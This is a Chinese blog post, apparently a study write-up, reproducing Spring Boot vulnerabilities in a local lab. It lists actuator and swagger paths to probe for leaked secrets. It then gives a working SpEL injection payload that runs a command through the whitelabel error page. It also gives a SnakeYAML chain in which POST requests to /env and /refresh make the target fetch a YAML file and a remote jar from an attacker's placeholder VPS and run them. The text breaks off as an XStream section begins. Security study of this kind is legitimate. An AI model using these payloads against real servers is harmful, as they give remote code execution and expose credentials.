{"id":396,"date":"2021-11-25T13:30:07","date_gmt":"2021-11-25T13:30:07","guid":{"rendered":"http:\/\/www.nokws.top\/?p=396"},"modified":"2022-01-18T10:11:28","modified_gmt":"2022-01-18T10:11:28","slug":"loudongfuxian-spring-bootloudong","status":"publish","type":"post","link":"http:\/\/www.nokws.top\/index.php\/2021\/11\/25\/loudongfuxian-spring-bootloudong\/","title":{"rendered":"\u6f0f\u6d1e\u590d\u73b0 Spring Boot\u6f0f\u6d1e"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">0x01 spring boot <\/h3>\n\n\n\n<p>       Spring boot \u662f\u4e00\u4e2a\u6846\u67b6\u3002\u5728spring \u548cspring MVC \u7684\u57fa\u7840\u4e0a\u53d1\u5c55\u800c\u6765\u3002spring \u662f\u540e\u7aef\u5f00\u53d1\u7684\u4e00\u4e2a\u6846\u67b6\uff0cspring MVC\u662fSpring\u7684\u4e00\u4e2a\u6a21\u5757\uff0c\u7528\u4e8e\u5f00\u53d1WEB\u5e94\u7528\u548c\u7f51\u7edc\u63a5\u53e3\u3002<\/p>\n\n\n\n<p>\u4e2a\u4eba\u7406\u89e3\uff1a\u540e\u7aef\u5229\u7528spring boot\u6846\u67b6\uff0c\u4fbf\u4e8e\u524d\u7aef\u8c03\u7528api\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">0x02 \u6316\u6398spring boot<\/h3>\n\n\n\n<p>      <\/p>\n\n\n\n<p>\u76f4\u63a5\u8bbf\u95ee\u4ee5\u4e0b\u51e0\u4e2a\u8def\u7531\uff0c\u9a8c\u8bc1\u6f0f\u6d1e\u662f\u5426\u5b58\u5728\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/api-docs\n\/v2\/api-docs\n\/swagger-ui.html<\/pre>\n\n\n\n<p>\u4e00\u4e9b\u53ef\u80fd\u4f1a\u9047\u5230\u7684\u63a5\u53e3\u8def\u7531\u53d8\u5f62\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/api.html\n\/sw\n\/swagger-ui.html\n\/api\/swagger-ui.html\n\/template\/swagger-ui.html\n\/spring-security-rest\n\/api\/swagger-ui.html\n\/spring-security-oauth-resource\/swagger-ui.html \n\/actuator\/jolokia\n\n\n\uff08\u5efa\u8bae\u4f7f\u7528dirsearch\uff09<\/pre>\n\n\n\n<p>\u7b49\u7b49\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"0x02%EF%BC%9A%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E8%80%8C%E6%9A%B4%E9%9C%B2%E7%9A%84%E8%B7%AF%E7%94%B1\">0x03 \u914d\u7f6e\u4e0d\u5f53\u800c\u66b4\u9732\u7684\u8def\u7531 \u53ef\u9020\u6210\u4fe1\u606f\u6cc4\u9732\u7b49<\/h3>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>\u4e3b\u8981\u662f\u56e0\u4e3a\u7a0b\u5e8f\u5458\u5f00\u53d1\u65f6\u6ca1\u6709\u610f\u8bc6\u5230\u66b4\u9732\u8def\u7531\u53ef\u80fd\u4f1a\u9020\u6210\u5b89\u5168\u98ce\u9669\uff0c\u6216\u8005\u6ca1\u6709\u6309\u7167\u6807\u51c6\u6d41\u7a0b\u5f00\u53d1\uff0c\u5fd8\u8bb0\u4e0a\u7ebf\u65f6\u9700\u8981\u4fee\u6539\/\u5207\u6362\u751f\u4ea7\u73af\u5883\u7684\u914d\u7f6e<\/p><\/blockquote>\n\n\n\n<p>\u53c2\u8003 production-ready-endpoints \u548c spring-boot.txt\uff0c\u53ef\u80fd\u56e0\u4e3a\u914d\u7f6e\u4e0d\u5f53\u800c\u66b4\u9732\u7684\u9ed8\u8ba4\u5185\u7f6e\u8def\u7531\u53ef\u80fd\u4f1a\u6709\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/actuator\/auditevents\/autoconfig\/beans\/caches\/conditions\/configprops\/docs\/dump\/env\/flyway\/health\/heapdump\/httptrace\/info\/intergrationgraph\/jolokia\/logfile\/loggers\/liquibase\/metrics\/mappings\/prometheus\/refresh\/scheduledtasks\/sessions\/shutdown\/trace\/threaddump\n\/actuator\/auditevents\n\/actuator\/beans\n\/actuator\/health\n\/actuator\/conditions\n\/actuator\/configprops\n\/actuator\/env\n\/actuator\/info\n\/actuator\/loggers\n\/actuator\/heapdump\n\/actuator\/threaddump\n\/actuator\/metrics\n\/actuator\/scheduledtasks\n\/actuator\/httptrace\n\/actuator\/mappings\n\/actuator\/jolokia\n\/actuator\/hystrix.stream<\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li><code>\/env<\/code>\u3001 <code>\/actuator\/env<\/code> GET \u8bf7\u6c42 <code>\/env<\/code> \u4f1a\u6cc4\u9732\u73af\u5883\u53d8\u91cf\u4fe1\u606f\uff0c\u6216\u8005\u914d\u7f6e\u4e2d\u7684\u4e00\u4e9b\u7528\u6237\u540d\uff0c\u5f53\u7a0b\u5e8f\u5458\u7684\u5c5e\u6027\u540d\u547d\u540d\u4e0d\u89c4\u8303 (\u4f8b\u5982 password \u5199\u6210 psasword\u3001pwd) \u65f6\uff0c\u4f1a\u6cc4\u9732\u5bc6\u7801\u660e\u6587\uff1b \u540c\u65f6\u6709\u4e00\u5b9a\u6982\u7387\u53ef\u4ee5\u901a\u8fc7 POST \u8bf7\u6c42 <code>\/env<\/code> \u63a5\u53e3\u8bbe\u7f6e\u4e00\u4e9b\u5c5e\u6027\uff0c\u89e6\u53d1\u76f8\u5173 RCE \u6f0f\u6d1e\u3002<\/li><li><code>\/jolokia<\/code> \u901a\u8fc7 <code>\/jolokia\/list<\/code> \u63a5\u53e3\u5bfb\u627e\u53ef\u4ee5\u5229\u7528\u7684 MBean\uff0c\u89e6\u53d1\u76f8\u5173 RCE \u6f0f\u6d1e\uff1b<\/li><li><code>\/trace<\/code> \u4e00\u4e9b http \u8bf7\u6c42\u5305\u8bbf\u95ee\u8ddf\u8e2a\u4fe1\u606f\uff0c\u6709\u53ef\u80fd\u53d1\u73b0\u6709\u6548\u7684 cookie \u4fe1\u606f<\/li><\/ul>\n\n\n\n<p>\uff08\u4ece\u524d\u7aef\u4ee3\u7801\u4e2d\u627e\u6570\u636e\u4f20\u5165\u540e\u7aef\u7684\u65b9\u6cd5\uff0c\u6bd4\u5982webpack\u4e4b\u7c7b\u7684\uff0c\u8fd8\u8981\u6ce8\u610f\u8c03\u7528api\u7684\u8def\u5f84\uff09<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">0x04 \u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587<\/h3>\n\n\n\n<p>\uff08\u4e2a\u4eba\u7406\u89e3\uff1a\u901a\u8fc7 spring boot \u8bbe\u8ba1\u7684\u7f3a\u9677\uff09<\/p>\n\n\n\n<p>\u5229\u7528\u65b9\u5f0f\u53c2\u8003\uff1a<a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#0x06restart-h2-database-query-rce\">LandGrey\/SpringBootVulExploit: SpringBoot \u76f8\u5173\u6f0f\u6d1e\u5b66\u4e60\u8d44\u6599\uff0c\u5229\u7528\u65b9\u6cd5\u548c\u6280\u5de7\u5408\u96c6\uff0c\u9ed1\u76d2\u5b89\u5168\u8bc4\u4f30 check list (github.com)<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/landgrey.me\/blog\/16\/\">LandGrey&#8217;s Blog<\/a><\/p>\n\n\n\n<p>\uff08\u672a\u505a\u8be6\u7ec6\u6d4b\u8bd5\u3002\u3002\uff09<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">0x05 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e<\/h3>\n\n\n\n<p><strong>whitelabel error page SpEL RCE<\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u5229\u7528\u6761\u4ef6\uff1a<\/h4>\n\n\n\n<ul class=\"wp-block-list\"><li>spring boot 1.1.0-1.1.12\u30011.2.0-1.2.7\u30011.3.0<\/li><li>\u81f3\u5c11\u77e5\u9053\u4e00\u4e2a\u89e6\u53d1 springboot \u9ed8\u8ba4\u9519\u8bef\u9875\u9762\u7684\u63a5\u53e3\u53ca\u53c2\u6570\u540d<\/li><\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-4\"><\/a>\u5229\u7528\u65b9\u6cd5\uff1a<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%89%BE%E5%88%B0%E4%B8%80%E4%B8%AA%E6%AD%A3%E5%B8%B8%E4%BC%A0%E5%8F%82%E5%A4%84\"><\/a>\u6b65\u9aa4\u4e00\uff1a\u627e\u5230\u4e00\u4e2a\u6b63\u5e38\u4f20\u53c2\u5904<\/h5>\n\n\n\n<p>\u6bd4\u5982\u53d1\u73b0\u8bbf\u95ee&nbsp;<code>\/article?id=xxx<\/code>&nbsp;\uff0c\u9875\u9762\u4f1a\u62a5\u72b6\u6001\u7801\u4e3a 500 \u7684\u9519\u8bef\uff1a&nbsp;<code>Whitelabel Error Page<\/code>\uff0c\u5219\u540e\u7eed payload \u90fd\u5c06\u4f1a\u5728\u53c2\u6570 id \u5904\u5c1d\u8bd5\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E6%89%A7%E8%A1%8C-spel-%E8%A1%A8%E8%BE%BE%E5%BC%8F\"><\/a>\u6b65\u9aa4\u4e8c\uff1a\u6267\u884c SpEL \u8868\u8fbe\u5f0f<\/h5>\n\n\n\n<p>\u8f93\u5165&nbsp;<code>\/article?id=${7*7}<\/code>&nbsp;\uff0c\u5982\u679c\u53d1\u73b0\u62a5\u9519\u9875\u9762\u5c06 7*7 \u7684\u503c 49 \u8ba1\u7b97\u51fa\u6765\u663e\u793a\u5728\u62a5\u9519\u9875\u9762\u4e0a\uff0c\u90a3\u4e48\u57fa\u672c\u53ef\u4ee5\u786e\u5b9a\u76ee\u6807\u5b58\u5728 SpEL \u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e\u3002<\/p>\n\n\n\n<p>\u7531\u5b57\u7b26\u4e32\u683c\u5f0f\u8f6c\u6362\u6210&nbsp;<code>0x**<\/code>&nbsp;java \u5b57\u8282\u5f62\u5f0f\uff0c\u65b9\u4fbf\u6267\u884c\u4efb\u610f\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"># coding: utf-8\n\nresult = \"\"\ntarget = 'notepad.exe'\nfor x in target:\n    result += hex(ord(x)) + \",\"\nprint(result.rstrip(','))\n\n\n<\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/image-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"692\" height=\"144\" data-original=\"http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/image-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-404\"  sizes=\"auto, (max-width: 692px) 100vw, 692px\" \/><\/div><\/figure>\n\n\n\n<p>\u6267\u884cnotepad.exe&nbsp;\u547d\u4ee4<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Payload:\n <nobr> ${T(java.lang.Runtime).getRuntime().exec(new String(new byte&#91;]\n  <\/nobr><nobr>{0x6e,0x6f,0x74,0x65,0x70,0x61,0x64,0x2e,0x65,0x78,0x65}))}<\/nobr><\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86\"><\/a>\u6f0f\u6d1e\u539f\u7406\uff1a<\/h4>\n\n\n\n<ol class=\"wp-block-list\"><li>spring boot \u5904\u7406\u53c2\u6570\u503c\u51fa\u9519\uff0c\u6d41\u7a0b\u8fdb\u5165&nbsp;<code>org.springframework.util.PropertyPlaceholderHelper<\/code>&nbsp;\u7c7b\u4e2d<\/li><li>\u6b64\u65f6 URL \u4e2d\u7684\u53c2\u6570\u503c\u4f1a\u7528&nbsp;<code>parseStringValue<\/code>&nbsp;\u65b9\u6cd5\u8fdb\u884c\u9012\u5f52\u89e3\u6790<\/li><li>\u5176\u4e2d&nbsp;<code>${}<\/code>&nbsp;\u5305\u56f4\u7684\u5185\u5bb9\u90fd\u4f1a\u88ab&nbsp;<code>org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration<\/code>&nbsp;\u7c7b\u7684&nbsp;<code>resolvePlaceholder<\/code>&nbsp;\u65b9\u6cd5\u5f53\u4f5c SpEL \u8868\u8fbe\u5f0f\u88ab\u89e3\u6790\u6267\u884c\uff0c\u9020\u6210 RCE \u6f0f\u6d1e<\/li><\/ol>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90\"><\/a>\u6f0f\u6d1e\u5206\u6790\uff1a<\/h4>\n\n\n\n<p>\u200b&nbsp;<a href=\"https:\/\/www.cnblogs.com\/litlife\/p\/10183137.html\">SpringBoot SpEL\u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e-\u5206\u6790\u4e0e\u590d\u73b0<\/a><\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83\"><\/a>\u6f0f\u6d1e\u73af\u5883\uff1a<\/h4>\n\n\n\n<p><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit\/tree\/master\/repository\/springboot-spel-rce\">repository\/springboot-spel-rce<\/a><\/p>\n\n\n\n<p>\u6b63\u5e38\u8bbf\u95ee\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;127.0.0.1:9091\/article?id=66\n<\/code><\/pre>\n\n\n\n<p>\u6267\u884c&nbsp;notepad.exe&nbsp;\u547d\u4ee4\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">http:\/\/127.0.0.1:9091\/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6e,0x6f,0x74,0x65,0x70,0x61,0x64,0x2e,0x65,0x78,0x65}))}\n<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/\u56fe\u72471-1024x667.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"667\" data-original=\"http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/\u56fe\u72471-1024x667.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-406\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-9d6595d7 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:100%\">\n<p>\u9047\u5230\u7684\u95ee\u9898<\/p>\n\n\n\n<p>ERROR 11056 &#8212; [ main] o.s.boot.SpringApplication : Application startup failed<\/p>\n\n\n\n<p>\u5728file&#8211;project structure&#8211;project settings&#8211;project sdk\u8c03\u6574\u4e3a\u8f83\u4f4e\u7248\u672c \uff1bproject language level \u4e3asdk default<\/p>\n\n\n\n<p>\u53c2\u8003\u6587\u7ae0\uff1a<\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#0x06restart-h2-database-query-rce\">LandGrey\/SpringBootVulExploit: SpringBoot \u76f8\u5173\u6f0f\u6d1e\u5b66\u4e60\u8d44\u6599\uff0c\u5229\u7528\u65b9\u6cd5\u548c\u6280\u5de7\u5408\u96c6\uff0c\u9ed1\u76d2\u5b89\u5168\u8bc4\u4f30 check list (github.com)<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/cloud.tencent.com\/developer\/article\/1889442\">Error:java: \u65e0\u6548\u7684\u6e90\u53d1\u884c\u7248: 9(\u5df2\u89e3\u51b3) &#8211; \u4e91+\u793e\u533a &#8211; \u817e\u8baf\u4e91 (tencent.com)<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/blog.csdn.net\/weixin_44299027\/article\/details\/106683099\">(40\u6761\u6d88\u606f) \u3010Java\u5f02\u5e38\u3011Spring Boot\u51fa\u73b0\u8b66\u544a WARNING: An illegal reflective access operation has occurred_No8g\u653b\u57ce\u72ee\u7684\u535a\u5ba2-CSDN\u535a\u5ba2<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/blog.csdn.net\/lhh134\/article\/details\/106795776\">(40\u6761\u6d88\u606f) Spring-boot\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u7cfb\u5217\uff08whitelabel error page SpEL RCE\uff09_GGyao\u7684\u535a\u5ba2-CSDN\u535a\u5ba2<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator is-style-wide\"\/>\n\n\n\n<p><strong>spring cloud SnakeYAML RCE<\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u5229\u7528\u6761\u4ef6\uff1a<\/h4>\n\n\n\n<ul class=\"wp-block-list\"><li>\u53ef\u4ee5 POST \u8bf7\u6c42\u76ee\u6807\u7f51\u7ad9\u7684&nbsp;<code>\/env<\/code>&nbsp;\u63a5\u53e3\u8bbe\u7f6e\u5c5e\u6027<\/li><li>\u53ef\u4ee5 POST \u8bf7\u6c42\u76ee\u6807\u7f51\u7ad9\u7684&nbsp;<code>\/refresh<\/code>&nbsp;\u63a5\u53e3\u5237\u65b0\u914d\u7f6e\uff08\u5b58\u5728&nbsp;<code>spring-boot-starter-actuator<\/code>&nbsp;\u4f9d\u8d56\uff09<\/li><li>\u76ee\u6807\u4f9d\u8d56\u7684&nbsp;<code>spring-cloud-starter<\/code>&nbsp;\u7248\u672c &lt; 1.3.0.RELEASE<\/li><li>\u76ee\u6807\u53ef\u4ee5\u8bf7\u6c42\u653b\u51fb\u8005\u7684 HTTP \u670d\u52a1\u5668\uff08\u8bf7\u6c42\u53ef\u51fa\u5916\u7f51\uff09<\/li><\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-5\"><\/a>\u5229\u7528\u65b9\u6cd5\uff1a<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%AD%A5%E9%AA%A4%E4%B8%80-%E6%89%98%E7%AE%A1-yml-%E5%92%8C-jar-%E6%96%87%E4%BB%B6\"><\/a>\u6b65\u9aa4\u4e00\uff1a \u6258\u7ba1 yml \u548c jar \u6587\u4ef6<\/h5>\n\n\n\n<p>\u5728\u81ea\u5df1\u63a7\u5236\u7684 vps \u673a\u5668\u4e0a\u5f00\u542f\u4e00\u4e2a\u7b80\u5355 HTTP \u670d\u52a1\u5668\uff0c\u7aef\u53e3\u5c3d\u91cf\u4f7f\u7528\u5e38\u89c1 HTTP \u670d\u52a1\u7aef\u53e3\uff0880\u3001443\uff09<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"># \u4f7f\u7528 python \u5feb\u901f\u5f00\u542f http server\n\npython2 -m SimpleHTTPServer 80\npython3 -m http.server 80<\/pre>\n\n\n\n<p>\u5728\u7f51\u7ad9\u6839\u76ee\u5f55\u4e0b\u653e\u7f6e\u540e\u7f00\u4e3a&nbsp;<code>yml<\/code>&nbsp;\u7684\u6587\u4ef6&nbsp;<code>example.yml<\/code>\uff0c\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">!!javax.script.ScriptEngineManager [\n  !!java.net.URLClassLoader [[\n    !!java.net.URL [\"http:\/\/your-vps-ip\/example.jar\"]\n  ]]\n]<\/pre>\n\n\n\n<p>\u5728\u7f51\u7ad9\u6839\u76ee\u5f55\u4e0b\u653e\u7f6e\u540e\u7f00\u4e3a&nbsp;<code>jar<\/code>&nbsp;\u7684\u6587\u4ef6&nbsp;<code>example.jar<\/code>\uff0c\u5185\u5bb9\u662f\u8981\u6267\u884c\u7684\u4ee3\u7801\uff0c\u4ee3\u7801\u7f16\u5199\u53ca\u7f16\u8bd1\u65b9\u5f0f\u53c2\u8003&nbsp;<a href=\"https:\/\/github.com\/artsploit\/yaml-payload\">yaml-<\/a><a href=\"https:\/\/github.com\/artsploit\/yaml-payload\" target=\"_blank\" rel=\"noreferrer noopener\">payload<\/a>\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%AD%A5%E9%AA%A4%E4%BA%8C-%E8%AE%BE%E7%BD%AE-springcloudbootstraplocation-%E5%B1%9E%E6%80%A7\"><\/a>\u6b65\u9aa4\u4e8c\uff1a \u8bbe\u7f6e spring.cloud.bootstrap.location \u5c5e\u6027<\/h5>\n\n\n\n<p>spring 1.x<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/env\nContent-Type: application\/x-www-form-urlencoded\n\nspring.cloud.bootstrap.location=http:\/\/your-vps-ip\/example.yml\n<\/code><\/pre>\n\n\n\n<p>spring 2.x<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/actuator\/env\nContent-Type: application\/json\n\n{\"name\":\"spring.cloud.bootstrap.location\",\"value\":\"http:\/\/your-vps-ip\/example.yml\"}\n<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%AD%A5%E9%AA%A4%E4%B8%89-%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE\"><\/a>\u6b65\u9aa4\u4e09\uff1a \u5237\u65b0\u914d\u7f6e<\/h5>\n\n\n\n<p>spring 1.x<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/refresh\nContent-Type: application\/x-www-form-urlencoded\n\n<\/code><\/pre>\n\n\n\n<p>spring 2.x<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/actuator\/refresh\nContent-Type: application\/json\n\n<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-1\"><\/a>\u6f0f\u6d1e\u539f\u7406\uff1a<\/h4>\n\n\n\n<ol class=\"wp-block-list\"><li>spring.cloud.bootstrap.location \u5c5e\u6027\u88ab\u8bbe\u7f6e\u4e3a\u5916\u90e8\u6076\u610f yml \u6587\u4ef6 URL \u5730\u5740<\/li><li>refresh \u89e6\u53d1\u76ee\u6807\u673a\u5668\u8bf7\u6c42\u8fdc\u7a0b HTTP \u670d\u52a1\u5668\u4e0a\u7684 yml \u6587\u4ef6\uff0c\u83b7\u5f97\u5176\u5185\u5bb9<\/li><li>SnakeYAML \u7531\u4e8e\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff0c\u6240\u4ee5\u89e3\u6790\u6076\u610f yml \u5185\u5bb9\u65f6\u4f1a\u5b8c\u6210\u6307\u5b9a\u7684\u52a8\u4f5c<\/li><li>\u5148\u662f\u89e6\u53d1 java.net.URL \u53bb\u62c9\u53d6\u8fdc\u7a0b HTTP \u670d\u52a1\u5668\u4e0a\u7684\u6076\u610f jar \u6587\u4ef6<\/li><li>\u7136\u540e\u662f\u5bfb\u627e jar \u6587\u4ef6\u4e2d\u5b9e\u73b0 javax.script.ScriptEngineFactory \u63a5\u53e3\u7684\u7c7b\u5e76\u5b9e\u4f8b\u5316<\/li><li>\u5b9e\u4f8b\u5316\u7c7b\u65f6\u6267\u884c\u6076\u610f\u4ee3\u7801\uff0c\u9020\u6210 RCE \u6f0f\u6d1e<\/li><\/ol>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-1\"><\/a>\u6f0f\u6d1e\u5206\u6790\uff1a<\/h4>\n\n\n\n<p>\u200b&nbsp;<a href=\"https:\/\/b1ngz.github.io\/exploit-spring-boot-actuator-spring-cloud-env-note\/\">Exploit Spring Boot Actuator \u4e4b Spring Cloud Env \u5b66\u4e60\u7b14\u8bb0<\/a><\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-1\"><\/a>\u6f0f\u6d1e\u73af\u5883\uff1a<\/h4>\n\n\n\n<p><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit\/tree\/master\/repository\/springcloud-snakeyaml-rce\">repository\/springcloud-snakeyaml-rce<\/a><\/p>\n\n\n\n<p>\u6b63\u5e38\u8bbf\u95ee\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;127.0.0.1:9092\/env\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#0x03eureka-xstream-deserialization-rce\"><\/a>0x03\uff1aeureka xstream deserialization RCE<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-6\"><\/a>\u5229\u7528\u6761\u4ef6\uff1a<\/h4>\n\n\n\n<ul class=\"wp-block-list\"><li>\u53ef\u4ee5 POST \u8bf7\u6c42\u76ee\u6807\u7f51\u7ad9\u7684&nbsp;<code>\/env<\/code>&nbsp;\u63a5\u53e3\u8bbe\u7f6e\u5c5e\u6027<\/li><li>\u53ef\u4ee5 POST \u8bf7\u6c42\u76ee\u6807\u7f51\u7ad9\u7684&nbsp;<code>\/refresh<\/code>&nbsp;\u63a5\u53e3\u5237\u65b0\u914d\u7f6e\uff08\u5b58\u5728&nbsp;<code>spring-boot-starter-actuator<\/code>&nbsp;\u4f9d\u8d56\uff09<\/li><li>\u76ee\u6807\u4f7f\u7528\u7684&nbsp;<code>eureka-client<\/code>&nbsp;&lt; 1.8.7\uff08\u901a\u5e38\u5305\u542b\u5728&nbsp;<code>spring-cloud-starter-netflix-eureka-client<\/code>&nbsp;\u4f9d\u8d56\u4e2d\uff09<\/li><li>\u76ee\u6807\u53ef\u4ee5\u8bf7\u6c42\u653b\u51fb\u8005\u7684 HTTP \u670d\u52a1\u5668\uff08\u8bf7\u6c42\u53ef\u51fa\u5916\u7f51\uff09<\/li><\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-6\"><\/a>\u5229\u7528\u65b9\u6cd5\uff1a<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9E%B6%E8%AE%BE%E5%93%8D%E5%BA%94%E6%81%B6%E6%84%8F-xstream-payload-%E7%9A%84%E7%BD%91%E7%AB%99\"><\/a>\u6b65\u9aa4\u4e00\uff1a\u67b6\u8bbe\u54cd\u5e94\u6076\u610f XStream payload \u7684\u7f51\u7ad9<\/h5>\n\n\n\n<p>\u63d0\u4f9b\u4e00\u4e2a\u4f9d\u8d56 Flask \u5e76\u7b26\u5408\u8981\u6c42\u7684&nbsp;<a 